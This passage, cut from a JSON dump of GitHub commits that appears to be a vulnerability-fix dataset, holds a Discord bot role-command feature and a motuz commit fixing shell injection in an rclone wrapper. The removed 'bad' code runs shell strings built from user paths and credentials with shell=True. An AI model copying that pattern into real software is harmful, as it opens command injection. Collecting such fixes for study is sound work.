services.discord_service()\r\n+ discord_service.run(discord_token)\n\\ No newline at end of file\ndiff --git a/bot_command_service.py b/bot_command_service.py\nnew file mode 100644\nindex 0000000..15aa35d\n--- /dev/null\n+++ b/bot_command_service.py\n@@ -0,0 +1,9 @@\n+class BotCommandService:\r\n+ def __init__(self, config, discord_service):\r\n+ command_prefix = config[\"command_keyword\"]\r\n+ discord_service.create_listener_for_bot_command(command_prefix, self.bot_command_callback)\r\n+ self.config = config\r\n+ self.discord_service = discord_service\r\n+\r\n+ def bot_command_callback(self, message):\r\n+ pass\n\\ No newline at end of file\ndiff --git a/bot_command_service_test.py b/bot_command_service_test.py\nnew file mode 100644\nindex 0000000..9816705\n--- /dev/null\n+++ b/bot_command_service_test.py\n@@ -0,0 +1,15 @@\n+from bot_command_service import BotCommandService\r\n+from asynctest import MagicMock, TestCase\r\n+\r\n+class TestSetsUpCallbackWithDiscordService(TestCase):\r\n+ def setUp(self):\r\n+ self.mock_config = { \"command_keyword\": \"!roles\" }\r\n+ self.mock_discord_service = MagicMock()\r\n+ self.mock_discord_service.create_listener_for_bot_command = MagicMock()\r\n+\r\n+ def runTest(self):\r\n+ bot_command_service = BotCommandService(self.mock_config, self.mock_discord_service)\r\n+\r\n+ self.mock_discord_service.create_listener_for_bot_command.assert_called_with(\"!roles\", bot_command_service.bot_command_callback)\r\n+\r\n+\r\ndiff --git a/dependency_injection.py b/dependency_injection.py\nindex 8e4a57e..ebcb998 100644\n--- a/dependency_injection.py\n+++ b/dependency_injection.py\n@@ -4,6 +4,7 @@\n from discord_mention_factory import DiscordMentionFactory\r\n from user_leave_notification import UserLeaveNotification\r\n from welcome_message import WelcomeMessage\r\n+from user_roles_service import UserRolesService\r\n \r\n class Dependencies:\r\n def __init__(self, config):\r\n@@ -15,4 +16,5 @@ def __init__(self, config):\n self.discord_mention_factory = providers.Singleton(DiscordMentionFactory, self.discord_service)\r\n self.welcome_message = providers.Singleton(WelcomeMessage, self.config.welcome_message, self.discord_service, self.discord_mention_factory)\r\n self.user_leave_notification = providers.Singleton(UserLeaveNotification, self.config.user_leave_notification, self.discord_service, self.discord_mention_factory)\r\n+ self.user_roles_service = providers.Singleton(UserRolesService, self.config.user_role_self_service, self.discord_service)\r\n \r\ndiff --git a/dependency_injection_test.py b/dependency_injection_test.py\nindex 749d709..6bb90d2 100644\n--- a/dependency_injection_test.py\n+++ b/dependency_injection_test.py\n@@ -6,6 +6,7 @@\n from discord_mention_factory import DiscordMentionFactory\r\n from welcome_message import WelcomeMessage\r\n from user_leave_notification import UserLeaveNotification\r\n+from user_roles_service import UserRolesService\r\n \r\n def create_mock_config():\r\n return {\r\n@@ -18,6 +19,10 @@ def create_mock_config():\n \"message\": \"the message\",\r\n \"channel\": \"the channel\",\r\n \"enabled\": True\r\n+ },\r\n+ \"user_role_self_service\": {\r\n+ \"blacklisted_roles\": [ \"admin\" ],\r\n+ \"command_keyword\": \"!roles\"\r\n }\r\n }\r\n \r\n@@ -55,4 +60,7 @@ def runTest(self):\n assert isinstance(user_leave_notification, dependency_injector.providers.Singleton)\r\n assert isinstance(user_leave_notification_instance, UserLeaveNotification)\r\n \r\n- \n\\ No newline at end of file\n+ user_roles_service = self.dependencies.user_roles_service\r\n+ user_roles_service_instance = user_roles_service()\r\n+ assert isinstance(user_roles_service, dependency_injector.providers.Singleton)\r\n+ assert isinstance(user_roles_service_instance, UserRolesService)\n\\ No newline at end of file\ndiff --git a/discord_service.py b/discord_service.py\nindex 1b715d2..4cdbb66 100644\n--- a/discord_service.py\n+++ b/discord_service.py\n@@ -5,6 +5,7 @@ def __init__(self):\n super().__init__()\r\n self.on_member_join_callbacks = []\r\n self.on_member_remove_callbacks = []\r\n+ self.bot_command_callbacks = []\r\n \r\n async def on_member_join(self, member):\r\n for callback in self.on_member_join_callbacks:\r\n@@ -27,4 +28,18 @@ def get_matching_Member(self, username, discriminator):\n \r\n def get_matching_role(self, role_name):\r\n all_roles = self.guilds[0].roles\r\n- return [x for x in all_roles if x.name == role_name][0]\n\\ No newline at end of file\n+ return [x for x in all_roles if x.name.lower() == role_name.lower()][0]\r\n+\r\n+ def get_all_roles_names(self):\r\n+ return [x.name for x in self.guilds[0].roles]\r\n+\r\n+ def create_listener_for_bot_command(self, command_prefix, callback):\r\n+ self.bot_command_callbacks.append({ \r\n+ \"prefix\": command_prefix, \r\n+ \"callback\": callback\r\n+ })\r\n+\r\n+ async def on_message(self, message):\r\n+ for bot_command_callback in self.bot_command_callbacks:\r\n+ if message.content.startswith(bot_command_callback[\"prefix\"]):\r\n+ await bot_command_callback[\"callback\"](message)\n\\ No newline at end of file\ndiff --git a/readme.md b/readme.md\nindex a5c2d07..ad82ff7 100644\n--- a/readme.md\n+++ b/readme.md\n@@ -41,6 +41,16 @@ Example:\n \"message\": \"{left_user} has left the server\",\r\n \"channel\": \"user-left-log\",\r\n \"enabled\": true\r\n+ },\r\n+ \"user_role_self_service\": {\r\n+ //All roles that users cannot self add/remove from.\r\n+ \"blacklisted_roles\": [\r\n+ \"admin\"\r\n+ ],\r\n+ \"command_keyword\": \"!roles\",\r\n+ \"enabled\": true,\r\n+ //The below may be ommitted such that this feature is restricted to the below channel\r\n+ \"restrict_to_channel\": \"role-request\"\r\n }\r\n }\r\n ```\r\ndiff --git a/user_roles_service.py b/user_roles_service.py\nnew file mode 100644\nindex 0000000..3c02340\n--- /dev/null\n+++ b/user_roles_service.py\n@@ -0,0 +1,71 @@\n+from bot_command_service import BotCommandService\r\n+\r\n+class UserRolesService(BotCommandService):\r\n+ def __init__(self, config, discord_service):\r\n+ super().__init__(config, discord_service)\r\n+\r\n+ async def bot_command_callback(self, message):\r\n+ command_tokens = message.content.split(\" \")\r\n+\r\n+ if self.should_ignore_command(message):\r\n+ return\r\n+\r\n+ if len(command_tokens) == 1:\r\n+ await self.reply_with_all_roles(message)\r\n+ elif command_tokens[1].lower() == \"add\":\r\n+ await self.handle_add_role(message)\r\n+ elif command_tokens[1].lower() == \"remove\":\r\n+ await self.handle_remove_role(message)\r\n+\r\n+ await message.delete()\r\n+\r\n+ def should_ignore_command(self, message):\r\n+ return (\"restrict_to_channel\" in self.config and\r\n+ self.config[\"restrict_to_channel\"] != None and\r\n+ message.channel.name.lower() != self.config[\"restrict_to_channel\"].lower())\r\n+\r\n+ async def reply_with_all_roles(self, message):\r\n+ available_role_strs = [\"`{}`\".format(x) for x in self.get_available_roles()]\r\n+ response = \"Roles available:\\n{}\".format(\"\\n\".join(available_role_strs))\r\n+ destination_channel = message.channel.name\r\n+ await self.discord_service.send_channel_message(response, destination_channel)\r\n+\r\n+ def get_available_roles(self):\r\n+ blacklisted_roles = list_lower(self.config[\"blacklisted_roles\"])\r\n+ all_roles = self.discord_service.get_all_roles_names()\r\n+ return [x for x in all_roles if x.lower() not in blacklisted_roles]\r\n+\r\n+ async def handle_add_role(self, message):\r\n+ role_name = get_role_name_from_command(message)\r\n+\r\n+ if role_name not in list_lower(self.get_available_roles()):\r\n+ return\r\n+\r\n+ new_roles = message.author.roles[:]\r\n+\r\n+ if role_name in [x.name.lower() for x in new_roles]:\r\n+ return\r\n+\r\n+ matching_new_role = self.discord_service.get_matching_role(role_name)\r\n+ new_roles.append(matching_new_role)\r\n+ await message.author.edit(roles=new_roles)\r\n+\r\n+ async def handle_remove_role(self, message):\r\n+ role_name = get_role_name_from_command(message)\r\n+\r\n+ if role_name not in list_lower(self.get_available_roles()):\r\n+ return\r\n+\r\n+ if role_name not in [x.name.lower() for x in message.author.roles]:\r\n+ return\r\n+ \r\n+ new_roles = [x for x in message.author.roles if x.name.lower() != role_name]\r\n+\r\n+ await message.author.edit(roles=new_roles)\r\n+\r\n+\r\n+def list_lower(items):\r\n+ return [x.lower() for x in items]\r\n+\r\n+def get_role_name_from_command(message):\r\n+ return \" \".join(message.content.split(\" \")[2:]).lower()\n\\ No newline at end of file\ndiff --git a/user_roles_service_test.py b/user_roles_service_test.py\nnew file mode 100644\nindex 0000000..302ae51\n--- /dev/null\n+++ b/user_roles_service_test.py\n@@ -0,0 +1,208 @@\n+from asyncio import Future\r\n+\r\n+from asynctest import MagicMock, TestCase, PropertyMock\r\n+from user_roles_service import UserRolesService\r\n+\r\n+class BaseTestSetup:\r\n+ def setUp(self):\r\n+ self.mock_discord_service = MagicMock()\r\n+ self.mock_discord_service.create_listener_for_bot_command.side_effect = self.create_callback_side_effect\r\n+ self.mock_discord_service.get_all_roles_names = MagicMock(return_value=[ \"admin\", \"Fun-stuff\", \"Starcraft\" ])\r\n+ self.mock_discord_service.send_channel_message = MagicMock(return_value=Future())\r\n+ self.mock_discord_service.send_channel_message.return_value.set_result(None)\r\n+\r\n+ self.mock_config = { \"command_keyword\": \"!roles\", \"blacklisted_roles\": [ \"admin\" ] }\r\n+\r\n+ self.user_roles_service = UserRolesService(self.mock_config, self.mock_discord_service)\r\n+\r\n+ def create_callback_side_effect(self, *args, **kwargs):\r\n+ self.callback = args[1]\r\n+\r\n+def create_mock_message(msg_content, channel_name, user_roles=None):\r\n+ mock_message = MagicMock()\r\n+ type(mock_message).content = PropertyMock(return_value=msg_content)\r\n+ \r\n+ mock_channel = MagicMock()\r\n+ type(mock_channel).name = PropertyMock(return_value=channel_name)\r\n+ type(mock_message).channel = PropertyMock(return_value=mock_channel)\r\n+\r\n+ if user_roles is not None:\r\n+ mock_member = MagicMock()\r\n+ roles = []\r\n+ for role_name in user_roles:\r\n+ role = MagicMock()\r\n+ type(role).name = PropertyMock(return_value=role_name)\r\n+ roles.append(role)\r\n+ type(mock_member).roles = PropertyMock(return_value=roles)\r\n+ \r\n+ mock_edit = MagicMock(return_value=Future())\r\n+ mock_edit.return_value.set_result(None)\r\n+ type(mock_member).edit = mock_edit\r\n+ \r\n+ type(mock_message).author = PropertyMock(return_value=mock_member)\r\n+\r\n+ mock_message.delete = MagicMock(return_value=Future())\r\n+ mock_message.delete.return_value.set_result(None) \r\n+\r\n+ return mock_message \r\n+\r\n+class TestRolesReturnsAllAvailableRoles(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles\", \"the_channel\")\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+ \r\n+ self.mock_discord_service.get_all_roles_names.assert_called()\r\n+\r\n+ expected_message = \"Roles available:\\n`Fun-stuff`\\n`Starcraft`\"\r\n+ expected_channel = \"the_channel\"\r\n+ self.mock_discord_service.send_channel_message.assert_called_with(expected_message, expected_channel)\r\n+\r\n+class TestAddRoleWhenUserDoesntHaveRole(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles add fun-stuff\", \"the_channel\", [])\r\n+ self.mock_new_role = MagicMock()\r\n+ type(self.mock_new_role).name = PropertyMock(return_value=\"Fun-stuff\")\r\n+\r\n+ self.mock_discord_service.get_matching_role = MagicMock(return_value=self.mock_new_role)\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.get_matching_role.assert_called_with(\"fun-stuff\")\r\n+\r\n+ expected_roles_list = self.mock_message.author.roles\r\n+ expected_roles_list.append(self.mock_new_role)\r\n+ self.mock_message.author.edit.assert_called_with(roles=expected_roles_list)\r\n+\r\n+class TestAddRoleWhenUserDoesntHaveRoleCaseInsensitive(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles add Fun-stuff\", \"the_channel\", [])\r\n+ self.mock_new_role = MagicMock()\r\n+ type(self.mock_new_role).name = PropertyMock(return_value=\"Fun-stuff\")\r\n+\r\n+ self.mock_discord_service.get_matching_role = MagicMock(return_value=self.mock_new_role)\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.get_matching_role.assert_called_with(\"fun-stuff\")\r\n+\r\n+ expected_roles_list = self.mock_message.author.roles\r\n+ expected_roles_list.append(self.mock_new_role)\r\n+ self.mock_message.author.edit.assert_called_with(roles=expected_roles_list)\r\n+\r\n+class TestAddRoleWhenUserAlreadyHasRole(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles add fun-stuff\", \"the_channel\", [\"Fun-stuff\"])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.get_matching_role.assert_not_called()\r\n+\r\n+ self.mock_message.author.edit.assert_not_called()\r\n+\r\n+class TestCantAddBlacklistedRole(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles add admin\", \"the_channel\", [])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.get_matching_role.assert_not_called()\r\n+\r\n+ self.mock_message.author.edit.assert_not_called()\r\n+\r\n+class TestCantAddBlacklistedRoleDifferentCase(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles add AdMiN\", \"the_channel\", [])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.get_matching_role.assert_not_called()\r\n+\r\n+ self.mock_message.author.edit.assert_not_called()\r\n+\r\n+class TestCanRemoveRoleWhenUserHasIt(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles remove fun-stuff\", \"the_channel\", [\"Fun-stuff\", \"admin\"])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ expected_roles_list = [x for x in self.mock_message.author.roles if x.name.lower() != \"fun-stuff\"]\r\n+ self.mock_message.author.edit.assert_called_with(roles=expected_roles_list)\r\n+\r\n+class TestCanRemoveRoleWhenUserHasItCaseInsensitive(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles remove fun-stuff\", \"the_channel\", [\"Fun-stuff\", \"admin\"])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ expected_roles_list = [x for x in self.mock_message.author.roles if x.name.lower() != \"fun-stuff\"]\r\n+ self.mock_message.author.edit.assert_called_with(roles=expected_roles_list)\r\n+\r\n+class TestCannotRemoveRoleThatIsBlacklisted(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles remove admin\", \"the_channel\", [\"Fun-stuff\", \"admin\"])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_message.author.edit.assert_not_called()\r\n+\r\n+class TestCannotRemoveRoleThatMemberDoesntHave(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_message = create_mock_message(\"!roles remove starcraft\", \"the_channel\", [\"Fun-stuff\", \"admin\"])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_message.author.edit.assert_not_called() \r\n+\r\n+class TestMessageIsDeleted(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+\r\n+ self.mock_message = create_mock_message(\"!roles\", \"the_channel\", [ \"admin\" ])\r\n+ \r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_message.delete.assert_called()\r\n+\r\n+class TestFunctionalityIsRestrictedToSpecificChannel(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_config[\"restrict_to_channel\"] = \"role-request\"\r\n+ self.mock_message = create_mock_message(\"!roles\", \"barracks\", [])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.send_channel_message.assert_not_called()\r\n+\r\n+class TestFunctionalityIsNotRestrictedToSpecificChannelWhenNotSpecifiedInConfig(BaseTestSetup, TestCase):\r\n+ def setUp(self):\r\n+ BaseTestSetup.setUp(self)\r\n+ self.mock_config[\"restrict_to_channel\"] = None\r\n+ self.mock_message = create_mock_message(\"!roles\", \"barracks\", [])\r\n+\r\n+ async def runTest(self):\r\n+ await self.callback(self.mock_message)\r\n+\r\n+ self.mock_discord_service.send_channel_message.assert_called()\n\\ No newline at end of file\n", "files": {"/bot.py": {"changes": [{"diff": "\n if config[\"user_leave_notification\"][\"enabled\"]:\r\n services.user_leave_notification()\r\n \r\n- discord_service = services.discord_service()\r\n- discord_service.run(discord_token)\r\n-\r\n-\r\n+ if config[\"user_role_self_service\"][\"enabled\"]:\r\n+ services.user_roles_service()\r\n \r\n-\r\n- \n\\ No newline at end of file\n+ discord_service = services.discord_service()\r\n+ discord_service.run(discord_token)\n\\ No newline at end of file", "add": 4, "remove": 6, "filename": "/bot.py", "badparts": [" discord_service = services.discord_service()\r", " discord_service.run(discord_token)\r", "\r", "\r", "\r"], "goodparts": [" if config[\"user_role_self_service\"][\"enabled\"]:\r", " services.user_roles_service()\r", " discord_service = services.discord_service()\r", " discord_service.run(discord_token)"]}], "source": "\nfrom discord_service import DiscordService\r from welcome_message import WelcomeMessage\r from discord_mention_factory import DiscordMentionFactory\r from user_leave_notification import UserLeaveNotification\r \r from dependency_injection import Dependencies\r import json\r \r def readJsonFile(file_name):\r with open(file_name, mode=\"r\") as f:\r return json.load(f)\r \r def read_secrets():\r return readJsonFile(\"secrets.json\")\r \r def read_config():\r return readJsonFile(\"config.json\")\r \r def setup_dependency_injection(config):\r return Dependencies(config)\r \r if __name__==\"__main__\":\r config=read_config()\r secrets=read_secrets()\r discord_token=secrets[\"discord-bot-token\"]\r \r services=setup_dependency_injection(config)\r \r if config[\"welcome_message\"][\"enabled\"]:\r services.welcome_message()\r \r if config[\"user_leave_notification\"][\"enabled\"]:\r services.user_leave_notification()\r \r discord_service=services.discord_service()\r discord_service.run(discord_token)\r \r \r \r \r ", "sourceWithComments": "from discord_service import DiscordService\r\nfrom welcome_message import WelcomeMessage\r\nfrom discord_mention_factory import DiscordMentionFactory\r\nfrom user_leave_notification import UserLeaveNotification\r\n\r\nfrom dependency_injection import Dependencies\r\nimport json\r\n\r\ndef readJsonFile(file_name):\r\n with open(file_name, mode=\"r\") as f:\r\n return json.load(f)\r\n\r\ndef read_secrets():\r\n return readJsonFile(\"secrets.json\")\r\n\r\ndef read_config():\r\n return readJsonFile(\"config.json\")\r\n\r\ndef setup_dependency_injection(config):\r\n return Dependencies(config)\r\n\r\nif __name__ == \"__main__\":\r\n config = read_config()\r\n secrets = read_secrets()\r\n discord_token = secrets[\"discord-bot-token\"]\r\n\r\n services = setup_dependency_injection(config)\r\n\r\n if config[\"welcome_message\"][\"enabled\"]:\r\n services.welcome_message()\r\n\r\n if config[\"user_leave_notification\"][\"enabled\"]:\r\n services.user_leave_notification()\r\n\r\n discord_service = services.discord_service()\r\n discord_service.run(discord_token)\r\n\r\n\r\n\r\n\r\n "}, "/discord_service.py": {"changes": [{"diff": "\n \r\n def get_matching_role(self, role_name):\r\n all_roles = self.guilds[0].roles\r\n- return [x for x in all_roles if x.name == role_name][0]\n\\ No newline at end of file\n+ return [x for x in all_roles if x.name.lower() == role_name.lower()][0]\r\n+\r\n+ def get_all_roles_names(self):\r\n+ return [x.name for x in self.guilds[0].roles]\r\n+\r\n+ def create_listener_for_bot_command(self, command_prefix, callback):\r\n+ self.bot_command_callbacks.append({ \r\n+ \"prefix\": command_prefix, \r\n+ \"callback\": callback\r\n+ })\r\n+\r\n+ async def on_message(self, message):\r\n+ for bot_command_callback in self.bot_command_callbacks:\r\n+ if message.content.startswith(bot_command_callback[\"prefix\"]):\r\n+ await bot_command_callback[\"callback\"](message)\n\\ No newline at end of", "add": 15, "remove": 1, "filename": "/discord_service.py", "badparts": [" return [x for x in all_roles if x.name == role_name][0]"], "goodparts": [" return [x for x in all_roles if x.name.lower() == role_name.lower()][0]\r", "\r", " def get_all_roles_names(self):\r", " return [x.name for x in self.guilds[0].roles]\r", "\r", " def create_listener_for_bot_command(self, command_prefix, callback):\r", " self.bot_command_callbacks.append({ \r", " \"prefix\": command_prefix, \r", " \"callback\": callback\r", " })\r", "\r", " async def on_message(self, message):\r", " for bot_command_callback in self.bot_command_callbacks:\r", " if message.content.startswith(bot_command_callback[\"prefix\"]):\r", " await bot_command_callback[\"callback\"](message)"]}], "source": "\nimport discord\r \r class DiscordService(discord.Client):\r def __init__(self):\r super().__init__()\r self.on_member_join_callbacks=[]\r self.on_member_remove_callbacks=[]\r \r async def on_member_join(self, member):\r for callback in self.on_member_join_callbacks:\r await callback(member)\r \r async def on_member_remove(self, member):\r for callback in self.on_member_remove_callbacks:\r await callback(member)\r \r async def send_channel_message(self, message, channel_name):\r channels=self.get_all_channels()\r channel=[x for x in channels if x.name==channel_name][0]\r await channel.send(message)\r \r def get_matching_Member(self, username, discriminator):\r all_members=self.get_all_members()\r \r matching_member=[x for x in all_members if x.name==username and x.discriminator==discriminator][0]\r return matching_member\r \r def get_matching_role(self, role_name):\r all_roles=self.guilds[0].roles\r return[x for x in all_roles if x.name==role_name][0] ", "sourceWithComments": "import discord\r\n\r\nclass DiscordService(discord.Client):\r\n def __init__(self):\r\n super().__init__()\r\n self.on_member_join_callbacks = []\r\n self.on_member_remove_callbacks = []\r\n\r\n async def on_member_join(self, member):\r\n for callback in self.on_member_join_callbacks:\r\n await callback(member)\r\n\r\n async def on_member_remove(self, member):\r\n for callback in self.on_member_remove_callbacks:\r\n await callback(member)\r\n\r\n async def send_channel_message(self, message, channel_name):\r\n channels = self.get_all_channels()\r\n channel = [x for x in channels if x.name == channel_name][0]\r\n await channel.send(message)\r\n\r\n def get_matching_Member(self, username, discriminator):\r\n all_members = self.get_all_members()\r\n\r\n matching_member = [x for x in all_members if x.name == username and x.discriminator == discriminator][0]\r\n return matching_member\r\n\r\n def get_matching_role(self, role_name):\r\n all_roles = self.guilds[0].roles\r\n return [x for x in all_roles if x.name == role_name][0]"}}, "msg": "Implements a self service member role feature.\n\nInitial commit of classes, etc.\n\nCreated a base class that will setup a callback for bot commands from the discord service.\n\nFirst test passes!\n\nExtracted out a mock message generator.\n\nRefactored out a common get_all_available_roles function\n\nCan now add roles if the user doesn't yet have it\n\nAdded test to ensure user can't add role when they already have it.\n\nAdded ability to remove a role.\n\nSetup dependency injection for the user_roles_service\n\nAdded unit test to check for case sensitivity.\n\nSome fixes after runtime testing.\n\nRefactored such that the returned list of roles to the user is in their original case.\n\nAdded ability to restrict to only a specific channel.\n\nRefactored one test."}}, "https://github.com/FredHutch/motuz": {"045468cb9bff47bb3bb72268b6d5a3fe44e383db": {"url": "https://api.github.com/repos/FredHutch/motuz/commits/045468cb9bff47bb3bb72268b6d5a3fe44e383db", "html_url": "https://github.com/FredHutch/motuz/commit/045468cb9bff47bb3bb72268b6d5a3fe44e383db", "message": "Fixed shell injection issue (#102)\n\n* Providing credentials as env variables now\r\n\r\n* Logging the command to the logging for debugging as well\r\n\r\n* Removed shell injection from ls\r\n\r\n* Removed shell injection possibility from copy as well", "sha": "045468cb9bff47bb3bb72268b6d5a3fe44e383db", "keyword": "command injection issue", "diff": "diff --git a/src/backend/api/utils/rclone_connection.py b/src/backend/api/utils/rclone_connection.py\nindex e194a25..9afa909 100644\n--- a/src/backend/api/utils/rclone_connection.py\n+++ b/src/backend/api/utils/rclone_connection.py\n@@ -6,6 +6,7 @@\n import subprocess\n import threading\n import time\n+import os\n \n class RcloneConnection:\n def __init__(self):\n@@ -22,10 +23,14 @@ def __init__(self):\n \n def verify(self, data):\n credentials = self._formatCredentials(data, name='current')\n- command = '{} rclone lsjson current:'.format(credentials)\n+ command = [\n+ 'rclone',\n+ 'lsjson',\n+ 'current:',\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n return {\n 'result': True,\n 'message': 'Success',\n@@ -40,17 +45,14 @@ def verify(self, data):\n \n def ls(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n-\n- command = (\n- '{credentials} '\n- 'rclone lsjson current:{path}'\n- ).format(\n- credentials=credentials,\n- path=path,\n- )\n+ command = [\n+ 'rclone',\n+ 'lsjson',\n+ 'current:{}'.format(path),\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n result = json.loads(result)\n return result\n except subprocess.CalledProcessError as e:\n@@ -61,17 +63,14 @@ def ls(self, data, path):\n \n def mkdir(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n-\n- command = (\n- '{credentials} '\n- 'rclone touch current:{path}/.keep'\n- ).format(\n- credentials=credentials,\n- path=path,\n- )\n+ command = [\n+ 'rclone',\n+ 'touch',\n+ 'current:{}/.keep'.format(path),\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n return {\n 'message': 'Success',\n }\n@@ -81,33 +80,35 @@ def mkdir(self, data, path):\n \n \n def copy(self, src_data, src_path, dst_data, dst_path, job_id=None):\n- credentials = ''\n+ credentials = {}\n \n if src_data is None: # Local\n src = src_path\n else:\n- credentials += self._formatCredentials(src_data, name='src')\n+ credentials.update(self._formatCredentials(src_data, name='src'))\n src = 'src:{}'.format(src_path)\n \n if dst_data is None: # Local\n dst = dst_path\n else:\n- credentials += self._formatCredentials(dst_data, name='dst')\n+ credentials.update(self._formatCredentials(dst_data, name='dst'))\n dst = 'dst:{}'.format(dst_path)\n \n+ command = [\n+ 'rclone',\n+ 'copy',\n+ src,\n+ dst,\n+ '--progress',\n+ '--stats', '2s',\n+ ]\n \n- command = (\n- '{credentials} '\n- 'rclone copy {src} {dst} '\n- '--progress '\n- '--stats 2s '\n- ).format(\n- credentials=credentials,\n- src=src,\n- dst=dst,\n+ bash_command = \"{} {}\".format(\n+ ' '.join(\"{}='{}'\".format(key, value) for key, value in credentials.items()),\n+ ' '.join(command),\n )\n \n- logging.info(sanitize(command))\n+ logging.info(sanitize(bash_command))\n \n if job_id is None:\n job_id = self._get_next_job_id()\n@@ -118,7 +119,7 @@ def copy(self, src_data, src_path, dst_data, dst_path, job_id=None):\n self._stop_events[job_id] = threading.Event()\n \n try:\n- self._execute_interactive(command, job_id)\n+ self._execute_interactive(command, credentials, job_id)\n except subprocess.CalledProcessError as e:\n raise RcloneException(sanitize(str(e)))\n \n@@ -154,13 +155,13 @@ def _formatCredentials(self, data, name):\n \n prefix = \"RCLONE_CONFIG_{}\".format(name.upper())\n \n- credentials = ''\n- credentials += \"{}_TYPE='{}' \".format(prefix, data.type)\n+ credentials = {}\n+ credentials['{}_TYPE'.format(prefix)] = data.type\n \n def _addCredential(credentials, env_key, data_key):\n value = getattr(data, data_key, None)\n if value is not None:\n- credentials += \"{}='{}' \".format(env_key, value)\n+ credentials[env_key] = value\n return credentials\n \n \n@@ -253,30 +254,35 @@ def _job_id_exists(self, job_id):\n return job_id in self._job_status\n \n \n- def _execute(self, command):\n- byteOutput = subprocess.check_output(command, shell=True)\n+ def _execute(self, command, env={}):\n+ full_env = os.environ.copy()\n+ full_env.update(env)\n+ byteOutput = subprocess.check_output(command, env=full_env)\n output = byteOutput.decode('UTF-8').rstrip()\n return output\n \n \n- def _execute_interactive(self, command, job_id):\n+ def _execute_interactive(self, command, env, job_id):\n thread = threading.Thread(target=self.__execute_interactive, kwargs={\n 'command': command,\n+ 'env': env,\n 'job_id': job_id,\n })\n thread.daemon = True\n thread.start()\n \n \n- def __execute_interactive(self, command, job_id):\n+ def __execute_interactive(self, command, env={}, job_id=0):\n stop_event = self._stop_events[job_id]\n+ full_env = os.environ.copy()\n+ full_env.update(env)\n \n process = subprocess.Popen(\n command,\n+ env=full_env,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n- shell=True,\n )\n \n reset_sequence1 = '\\x1b[2K\\x1b[0' # + 'G'\n", "files": {"/src/backend/api/utils/rclone_connection.py": {"changes": [{"diff": "\n \n def verify(self, data):\n credentials = self._formatCredentials(data, name='current')\n- command = '{} rclone lsjson current:'.format(credentials)\n+ command = [\n+ 'rclone',\n+ 'lsjson',\n+ 'current:',\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n return {\n 'result': True,\n 'message': 'Success',\n", "add": 6, "remove": 2, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" command = '{} rclone lsjson current:'.format(credentials)", " result = self._execute(command)"], "goodparts": [" command = [", " 'rclone',", " 'lsjson',", " 'current:',", " ]", " result = self._execute(command, credentials)"]}, {"diff": "\n \n def ls(self, data, path):\n credentials = self._formatCredentials(data, name='current')\n-\n- command = (\n- '{credentials} '\n- 'rclone lsjson current:{path}'\n- ).format(\n- credentials=credentials,\n- path=path,\n- )\n+ command = [\n+ 'rclone',\n+ 'lsjson',\n+ 'current:{}'.format(path),\n+ ]\n \n try:\n- result = self._execute(command)\n+ result = self._execute(command, credentials)\n result = json.loads(result)\n return result\n except subprocess.CalledProcessError as e:\n", "add": 6, "remove": 9, "filename": "/src/backend/api/utils/rclone_connection.py", "badparts": [" command = (", " '{credentials} '", " 'rclone lsjson current:{path}'", " ).format(", " credentials=credentials,", " path=path,", " )", " result = self._execute(command)"], "goodparts": [" command = [", " 'rclone',", " 'lsjson',", " 'current:{}'.format(path),", " ]", " result = self._execute(command, 